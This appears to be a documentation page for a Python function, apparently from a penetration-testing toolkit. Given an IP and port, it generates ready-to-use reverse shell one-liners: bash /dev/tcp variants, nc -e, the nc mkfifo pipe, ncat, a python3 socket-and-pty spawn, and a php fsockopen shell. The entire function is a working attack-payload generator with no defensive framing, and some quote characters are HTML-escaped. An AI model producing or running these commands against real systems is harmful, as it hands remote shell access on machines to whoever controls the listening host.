Function reverse_shell_tools

utils.py:416–462

(shell,ip_port)

'''

def reverse_shell_tools(shell,ip_port):
    if ip_port.count(':') != 1:
        info = '[-] Input format has error(ip:port)'
        return info
    ip,port = ip_port.split(':')

    shell_template = '''
---------------------------------------------------------------------------------------
# Bash -i
{cmd} -i >& /dev/tcp/{ip}/{port} 0>&1

# Bash 196
0<&196;exec 196<>/dev/tcp/{ip}/{port}; {cmd} <&196 >&196 2>&196

# Bash 5
{cmd} -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5

# Bash read line
exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done
---------------------------------------------------------------------------------------
''&#x27;
    other_template = ''&#x27;
---------------------------------------------------------------------------------------
# nc -e
nc {ip} {port} -e bash

# nc -c
nc -c sh {ip} {port}

# nc mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {ip} {port} >/tmp/f

# ncat -c
ncat {ip} {port} -e sh

# python3
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("{ip}",{port}));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("bash")'

# php
php -r '$sock=fsockopen("{ip}",{port});exec("/bin/sh -i <&3 >&3 2>&3");'
---------------------------------------------------------------------------------------
''&#x27; 
    
    if shell == 'other':
        return other_template.format(ip=ip,port=port)
    else:
        return shell_template.format(cmd=shell,ip=ip,port=port) +  shell_template.format(cmd='/bin/'+shell,ip=ip,port=port)


''&#x27;